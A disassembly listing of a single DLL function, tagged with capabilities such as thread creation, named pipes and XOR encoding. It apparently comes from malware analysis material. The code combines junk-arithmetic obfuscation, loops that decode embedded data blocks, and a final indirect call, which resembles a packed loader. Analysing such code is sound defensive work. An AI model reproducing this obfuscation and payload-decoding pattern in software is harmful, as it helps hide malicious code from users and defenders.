Function at 0x18000b8b0
Capabilities:
Create pipe
Create thread
Encode data using xor
Suspend thread

Disassembly:
push rbx
sub rsp, 0x60
xor ebx, ebx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x50], 0x3a20
mov dword [rsp + 0x4c], 0x2df9
mov dword [rsp + 0x44], ebx
mov dword [rsp + 0x40], 0x35a4
mov dword [rsp + 0x54], 0x3f8c
mov ecx, dword [rsp + 0x54]
mov eax, dword [rsp + 0x40]
add ecx, 0xffffeeb1
cmp eax, ecx
je 0x18000c0cb
mov ecx, dword [rsp + 0x44]
mov eax, dword [rsp + 0x4c]
add ecx, 0x3862
cmp eax, ecx
je 0x18000c0cb
mov ecx, dword [rsp + 0x4c]
mov eax, dword [rsp + 0x54]
xor ecx, 0x159b
cmp eax, ecx
jle 0x18000bce8
xor dword [rsp + 0x48], 0x3862
mov rax, qword [section..data]
mov dword [rax + 0x10], 0x40
mov rax, qword [section..data]
mov dword [0x180059028], ebx
mov dword [rax + 0x1c], 0x46
mov rax, qword [section..data]
mov dword [0x18005903c], 7
mov dword [rax + 0x34], 1
mov rax, qword [section..data]
mov dword [0x180059050], ebx
mov dword [rax + 0x50], ebx
mov rax, qword [section..data]
mov dword [0x180059068], 0x12
mov dword [0x18005906c], 1
mov dword [0x180059070], 1
mov dword [0x18005907c], ebx
mov qword [0x180059090], rbx
mov dword [rax + 0x90], 1
mov rax, qword [section..data]
mov dword [0x1800590cc], 1
mov dword [0x1800590d4], 9
mov dword [rax + 0xd0], 3
mov rax, qword [section..data]
mov dword [rax + 0xdc], ebx
mov rax, qword [section..data]
mov dword [0x1800590fc], ebx
mov dword [0x18005910c], 0x14
mov dword [0x180059110], 1
mov dword [rax + 0x104], ebx
mov rax, qword [section..data]
mov dword [0x18005911c], 1
mov dword [0x180059130], 0xf
mov dword [rax + 0x130], ebx
mov eax, dword [0x180059114]
xor eax, dword [0x180059068]
mov rcx, qword [section..data]
xor eax, 0x187164
mov dword [0x180059144], 0x14
mov dword [0x180059150], 0x61
mov dword [0x180059158], ebx
or dword [rcx + 0x1c], eax
mov rcx, qword [section..data]
mov eax, dword [rcx + 0xec]
cmp dword [rcx + 0x50], eax
jb 0x18000ba81
imul eax, dword [0x1800590d4], 0x15e102
mov dword [0x1800590d4], eax
mov eax, dword [0x18005911c]
cmp dword [0x180059090], eax
jae 0x18000baa8
mov eax, dword [0x180059144]
mov ecx, dword [rcx + 0xdc]
add eax, 0x5350b
add ecx, eax
mov dword [0x180059144], ecx
add dword [rsp + 0x4c], 0x85
mov edx, dword [0x180059090]
add edx, dword [0x180059070]
mov rax, qword [section..data]
xor edx, 0x76d68
add dword [0x1800590d4], edx
cmp dword [0x180059050], 0x126f6
jae 0x18000baef
mov ecx, dword [rax + 0xfc]
add ecx, 0x1b8e2b
xor dword [0x1800590cc], ecx
jmp 0x18000bafe
mov ecx, dword [rax + 0x18]
add ecx, dword [0x180059158]
add dword [0x1800590fc], ecx
mov ecx, dword [rsp + 0x4c]
mov edx, dword [rsp + 0x48]
xor ecx, 0xec
mov r9d, dword [rsp + 0x50]
sub edx, 0xa69
mov r8d, dword [rsp + 0x48]
sub r9d, 0x459
mov eax, dword [rsp + 0x50]
xor r8d, 0x165f
sub eax, 0xb8e
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r8d
lea r8, [0x180059010]
call sym.iixfgec031pc.dll_Ajj80
mov rcx, qword [section..data]
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
add edx, 0x2e1e
mov r9d, dword [rsp + 0x40]
add r8d, 0xa8
mov eax, dword [rsp + 0x40]
add r9d, 0xa92
xor eax, 0x18ce
mov dword [rsp + 0x20], eax
call fcn.180009310
mov dword [rsp + 0x54], eax
mov r10, rbx
lea rax, [0x18005d840]
mov qword [0x1800590b0], rax
nop dword [rax]
mov eax, dword [0x180059070]
mov rcx, qword [section..data]
add eax, 0xffe8d910
or dword [rcx + 0x80], eax
mov rax, qword [0x1800590b0]
mov rcx, qword [section..data]
mov r9d, dword [r10 + rax]
add r10, 4
mov eax, dword [rcx + 0xc4]
xor eax, 0xf3a5a8
or dword [rcx + 0x10c], eax
mov rdx, qword [section..data]
mov ecx, dword [rdx + 0xc4]
mov eax, dword [rdx + 0x148]
xor ecx, 0xf3a5a9
imul eax, ecx
mov dword [rdx + 0x148], eax
movsxd rcx, dword [0x180059078]
imul r9d, dword [0x180059074]
mov rax, qword [0x1800590b8]
mov edx, r9d
shr edx, 0x18
mov byte [rcx + rax], dl
mov edx, r9d
mov r8d, dword [0x180059078]
mov rcx, qword [section..data]
inc r8d
mov eax, dword [0x180059028]
sub dword [0x1800590ec], eax
mov eax, 0x1b787d
mov dword [0x180059078], r8d
sub eax, dword [rcx + 0x34]
sub eax, dword [0x180059114]
add dword [0x180059140], eax
mov eax, 0x12
sub eax, dword [rcx + 0x58]
add dword [0x1800590fc], eax
mov rax, qword [0x1800590b8]
movsxd rcx, r8d
mov r8d, r9d
shr edx, 0x10
shr r8d, 8
mov byte [rcx + rax], dl
mov eax, dword [0x180059078]
inc eax
mov dword [0x180059078], eax
movsxd rdx, eax
mov rax, qword [section..data]
mov rcx, qword [rax + 0xa8]
mov byte [rdx + rcx], r8b
mov eax, dword [0x180059078]
inc eax
mov dword [0x180059078], eax
movsxd rcx, eax
mov rax, qword [0x1800590b8]
mov byte [rcx + rax], r9b
mov eax, 0x1bd89d
sub eax, dword [0x1800590fc]
add dword [0x180059150], eax
inc dword [0x180059078]
cmp r10, 0x155c4
jl 0x18000bba0
jmp 0x18000c0cb
mov eax, dword [rsp + 0x48]
mov ecx, dword [0x18005910c]
or ecx, dword [0x180059070]
add ecx, eax
mov qword [rsp + 0x70], rsi
mov rax, qword [section..data]
mov qword [rsp + 0x78], rdi
mov dword [rax + 0x80], ecx
mov rcx, qword [section..data]
mov eax, dword [0x180059144]
or eax, 0x3bc2
sub dword [rcx + 0x78], eax
mov ecx, dword [rsp + 0x50]
mov eax, dword [rsp + 0x40]
or ecx, dword [0x180059110]
imul eax, ecx
mov ecx, dword [rsp + 0x54]
mov dword [0x180059134], eax
mov eax, dword [rsp + 0x44]
sub ecx, eax
xor dword [rsp + 0x4c], ecx
mov ecx, dword [rsp + 0x40]
mov eax, dword [0x180059068]
xor rcx, rax
movsxd rax, dword [rsp + 0x50]
movsxd rdx, dword [rsp + 0x48]
or rdx, rax
xor rdx, 0x3537
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
mov rax, qword [section..data]
mov esi, dword [rax + 0xec]
mov eax, dword [rsp + 0x4c]
and esi, 0x3ebf
mov edi, dword [rsp + 0x44]
sub esi, eax
mov edx, dword [rsp + 0x48]
mov r9d, dword [rsp + 0x4c]
mov rcx, qword [section..data]
sub edx, dword [0x180059090]
mov r10d, dword [rsp + 0x44]
mov r11d, dword [0x180059094]
sub edi, dword [rcx + 0xd0]
mov rcx, qword [section..data]
sub r11d, dword [0x180059070]
mov eax, dword [rcx + 0x30]
mov r8d, dword [rcx + 0xf8]
and r9, rax
mov eax, dword [0x1800590e0]
mov ecx, esi
imul r8d, edx
and r10, rax
mov qword [rsp + 0x28], r10
mov edx, edi
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov r8d, dword [rsp + 0x4c]
add edx, 0x3f8c
imul ecx, dword [0x180059044]
xor edx, dword [0x180059038]
sub r8d, dword [0x180059140]
call qword [sym.imp.KERNEL32.dll_OpenThread]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [rsp + 0x40]
xor eax, 0x2e3d
mov dword [0x180059068], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0x124]
add ecx, dword [0x1800590ec]
mov dword [rsp + 0x40], ecx
mov ecx, 0xffffc79e
mov eax, dword [rsp + 0x50]
sub ecx, eax
mov eax, dword [rsp + 0x50]
add ecx, eax
mov eax, dword [rsp + 0x44]
imul eax, ecx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x40]
imul eax, dword [0x180059120]
mov rsi, qword [rsp + 0x70]
sub eax, 0x3389
add dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
mov rcx, qword [section..data]
xor eax, dword [rcx + 0x7c]
cmp dword [0x180059118], eax
jb 0x18000c0c6
mov ecx, dword [rsp + 0x44]
mov eax, dword [rsp + 0x4c]
imul ecx, eax
cmp dword [0x1800590e8], ecx
jb 0x18000c0b1
mov edx, dword [rsp + 0x4c]
mov eax, dword [rsp + 0x50]
mov r8d, dword [rsp + 0x50]
or edx, dword [0x18005907c]
add edx, dword [0x1800590ec]
mov rcx, qword [section..data]
sub edx, eax
mov eax, dword [rsp + 0x44]
mov r11d, dword [rsp + 0x48]
mov r10d, dword [rsp + 0x50]
add r11d, dword [0x180059080]
mov dword [0x1800590ec], edx
imul edi, dword [rcx + 0x7c], 0x3f8c
mov edx, dword [0x180059120]
sub r8d, dword [rcx + 0x90]
imul edx, dword [0x180059050]
imul r9d, eax, 0x2ff7
mov eax, dword [0x180059070]
mov ecx, edi
add eax, 0xffffcc77
add eax, r10d
mov qword [rsp + 0x28], rax
add r9d, dword [0x180059104]
mov dword [rsp + 0x20], r11d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rax, qword [section..data]
mov ecx, dword [rax + 0x134]
and ecx, dword [0x1800590f8]
mov eax, dword [rsp + 0x40]
imul eax, ecx
cmp dword [0x180059094], eax
jb 0x18000c0c6
mov eax, dword [rsp + 0x54]
mov ecx, dword [0x180059044]
imul ecx, dword [0x18005911c]
imul eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x48]
and eax, 0x3f8c
mov edx, dword [rsp + 0x40]
xor ecx, eax
mov eax, dword [rsp + 0x44]
and edx, eax
mov r9d, dword [rsp + 0x54]
add edx, 0x3537
mov eax, dword [rsp + 0x44]
or r9d, eax
mov edi, dword [rsp + 0x4c]
mov rax, qword [section..data]
sub edi, dword [0x180059068]
mov r8, qword [section..data]
mov r10d, dword [rax + 0x130]
mov r11d, r10d
mov eax, dword [rsp + 0x54]
xor r11d, 0x3862
imul r11d, dword [0x180059060]
imul r10d, r10d, 0x3fd5
sub r10d, eax
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], edi
call fcn.1800099b0
mov dword [rsp + 0x40], eax
mov ecx, dword [rsp + 0x54]
mov r8d, dword [rsp + 0x48]
add ecx, 0x2e3d
mov rax, qword [section..data]
mov edi, dword [0x180059088]
imul edi, dword [0x180059054]
mov edx, dword [0x180059044]
and r8d, dword [rax + 0x50]
add edx, 0x3f8c
mov rax, qword [section..data]
imul ecx, dword [0x180059028]
imul edx, dword [0x180059158]
mov r9d, dword [rax + 0x10]
mov eax, dword [rsp + 0x40]
and r9d, 0x112d
mov r11d, dword [rsp + 0x48]
sub edi, eax
mov eax, dword [0x180059138]
or r9d, 0x2282
mov r10d, dword [rsp + 0x54]
and eax, 0x2e3d
and r10d, dword [0x180059070]
xor r11d, eax
mov eax, dword [0x1800590c8]
xor rax, 0x2df9
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov eax, dword [rsp + 0x4c]
xor eax, 0xfffffbc6
and eax, 0x2df9
add dword [0x180059068], eax
jmp 0x18000c0c6
mov eax, dword [rsp + 0x4c]
and eax, 0x3862
imul ecx, eax, 0x35df
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rdi, qword [rsp + 0x78]
mov ecx, dword [rsp + 0x40]
mov eax, dword [rsp + 0x54]
add ecx, 0xfffff947
cmp eax, ecx
jle 0x18000c596
mov rcx, qword [section..data]
mov r10, rbx
mov eax, dword [rcx + 0x18]
sub eax, dword [0x18005902c]
add eax, 0x1c9605
mov dword [rcx + 0x64], eax
mov eax, 0xffffe406
xor dword [rsp + 0x40], 0xae2
xor dword [rsp + 0x44], 0x2e92
xor dword [rsp + 0x40], 0xc7a
add dword [rsp + 0x48], 0xfffffd7d
add dword [rsp + 0x50], 0xfffff969
mov ecx, dword [0x18005910c]
xor ecx, dword [0x1800590ec]
mov rdx, qword [section..data]
sub eax, ecx
add dword [rdx + 0x64], eax
lea rax, [0x18005a660]
mov qword [0x1800590b0], rax
xor dword [rsp + 0x44], 0x1b55
nop word [rax + rax]
mov r8, qword [section..data]
mov eax, dword [0x18005907c]
mov ecx, dword [0x1800590a0]
add eax, 0x1726ef
sub ecx, dword [r8 + 0x60]
add ecx, eax
mov rax, qword [0x1800590b0]
mov dword [0x18005907c], ecx
mov ecx, dword [0x18005906c]
mov r9d, dword [r10 + rax]
add r10, 4
mov eax, dword [r8 + 0xec]
imul r9d, dword [0x180059074]
xor eax, 0x1bd89d
sub dword [0x18005902c], eax
mov eax, dword [0x180059110]
sub eax, dword [0x180059158]
imul ecx, eax
mov rax, qword [0x1800590b8]
mov edx, r9d
shr edx, 0x18
mov dword [0x18005906c], ecx
movsxd rcx, dword [r8 + 0x68]
mov byte [rcx + rax], dl
mov edx, r9d
mov rax, qword [section..data]
shr edx, 0x10
inc dword [rax + 0x68]
mov eax, dword [0x180059114]
mov ecx, dword [0x18005911c]
dec eax
add ecx, eax
mov eax, dword [0x180059050]
xor dword [0x180059140], eax
mov eax, dword [0x18005910c]
mov dword [0x180059114], ecx
add eax, 0xffffffec
mov rcx, qword [section..data]
xor dword [rcx + 0x40], eax
movsxd rcx, dword [0x180059078]
mov rax, qword [0x1800590b8]
mov byte [rcx + rax], dl
mov edx, r9d
mov r8d, dword [0x180059078]
mov rax, qword [section..data]
inc r8d
mov dword [0x180059078], r8d
shr edx, 8
mov ecx, dword [rax + 0x134]
mov eax, dword [0x180059070]
add eax, 0xffe3a3f1
add ecx, eax
mov rax, qword [0x1800590b8]
xor dword [0x180059060], ecx
movsxd rcx, r8d
mov byte [rcx + rax], dl
mov eax, dword [0x180059078]
inc eax
mov dword [0x180059078], eax
movsxd rdx, eax
mov rax, qword [section..data]
mov rcx, qword [rax + 0xa8]
mov byte [rdx + rcx], r9b
inc dword [0x180059078]
cmp r10, 0x30d8
jl 0x18000c160
add dword [rsp + 0x44], 0xfffff832
mov r11, rbx
add dword [rsp + 0x40], 0xfffffc48
xor dword [rsp + 0x40], 0x1e9
mov eax, dword [0x18005910c]
mov rcx, qword [section..data]
add eax, 0xeab5
mov dword [0x180059074], 0x7a788
xor dword [rcx + 0x64], eax
mov r10, qword [section..data]
mov r8d, dword [0x180059078]
mov edx, dword [0x18005903c]
mov eax, dword [r10 + 0x80]
sub eax, dword [0x180059144]
add eax, 0xc825f
xor dword [0x180059074], eax
lea rax, [0x18001ab80]
mov qword [0x1800590b0], rax
mov r9d, dword [r11 + rax]
add r11, 4
or edx, dword [0x180059028]
mov ecx, dword [0x1800590ec]
mov eax, dword [0x180059130]
mov dword [0x18005903c], edx
add eax, 0xfff49579
imul ecx, eax
mov dword [0x1800590ec], ecx
imul r9d, dword [r10 + 0x64]
mov rax, qword [r10 + 0xa8]
movsxd rcx, r8d
mov edx, r9d
shr edx, 0x18
mov byte [rcx + rax], dl
mov edx, r9d
mov eax, dword [0x180059078]
inc eax
shr edx, 0x10
mov dword [0x180059078], eax
movsxd rcx, eax
mov rax, qword [0x1800590b8]
mov byte [rcx + rax], dl
mov edx, r9d
inc dword [0x180059078]
mov eax, dword [0x1800590cc]
mov ecx, dword [0x18005903c]
add eax, 0x868ab
xor ecx, dword [0x180059050]
add ecx, eax
shr edx, 8
mov dword [0x1800590cc], ecx
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x60]
xor eax, dword [0x18005902c]
xor eax, 0xb5f06
add dword [rcx + 0x104], eax
mov eax, 0x1726f0
sub eax, dword [0x180059070]
add dword [0x180059044], eax
mov rax, qword [section..data]
movsxd rcx, dword [rax + 0x68]
mov rax, qword [rax + 0xa8]
mov byte [rcx + rax], dl
mov rax, qword [section..data]
inc dword [rax + 0x68]
mov r8d, dword [0x18005907c]
mov edx, dword [0x18005902c]
add edx, dword [0x1800590fc]
mov eax, dword [0x180059144]
xor edx, 0x385293
sub r8d, edx
add eax, 0xffdf3ca3
mov rdx, qword [section..data]
mov dword [0x18005907c], r8d
mov ecx, dword [rdx + 0xbc]
add ecx, eax
xor r8d, ecx
movsxd rcx, dword [0x180059078]
mov dword [0x18005907c], r8d
mov rax, qword [rdx + 0xa8]
mov byte [rcx + rax], r9b
mov r8d, dword [0x180059078]
mov eax, dword [0x180059110]
inc r8d
mov r10, qword [section..data]
add eax, 0x868ab
mov edx, dword [0x18005903c]
mov dword [0x180059078], r8d
mov ecx, dword [r10 + 0x148]
xor ecx, edx
add ecx, eax
mov dword [0x180059110], ecx
cmp r11, 0x124f8
jge 0x18000c4a5
mov rax, qword [0x1800590b0]
jmp 0x18000c320
add dword [rsp + 0x48], 0xffffffe8
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + 0x50]
xor ecx, 0x1e9
mov r9d, dword [rsp + 0x48]
add edx, 0x21b
mov r11d, dword [rsp + 0x44]
add r9d, 0x5fb
mov r10d, dword [rsp + 0x44]
add r11d, 0xa69
mov eax, dword [rsp + 0x54]
add r10d, 0x44
mov r8, qword [section..data]
xor eax, 0x159b
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
call fcn.1800099b0
mov ecx, dword [0x180059084]
mov dword [rsp + 0x54], eax
nop dword [rax]
mov rax, qword [0x1800590c0]
xor dword [rbx + rax], ecx
add rbx, 4
mov ecx, dword [0x180059070]
mov eax, dword [0x180059028]
inc eax
imul ecx, eax
mov eax, dword [0x180059050]
imul eax, dword [0x18005911c]
mov dword [0x180059070], ecx
mov ecx, dword [0x180059084]
add ecx, dword [0x1800590f4]
mov dword [0x180059050], eax
mov dword [0x180059084], ecx
cmp rbx, 0x4be7c
jl 0x18000c510
add dword [rsp + 0x4c], 0xffffffbf
mov rcx, qword [section..data]
mov rax, qword [0x1800590c0]
mov qword [rcx + 0x98], rax
mov rdx, qword [0x180059128]
mov ecx, dword [0x180059168]
call qword [0x1800590a8]
mov dword [0x180059124], eax
mov rax, qword [section..data]
mov eax, dword [rax + 0x114]
add rsp, 0x60
pop rbx
ret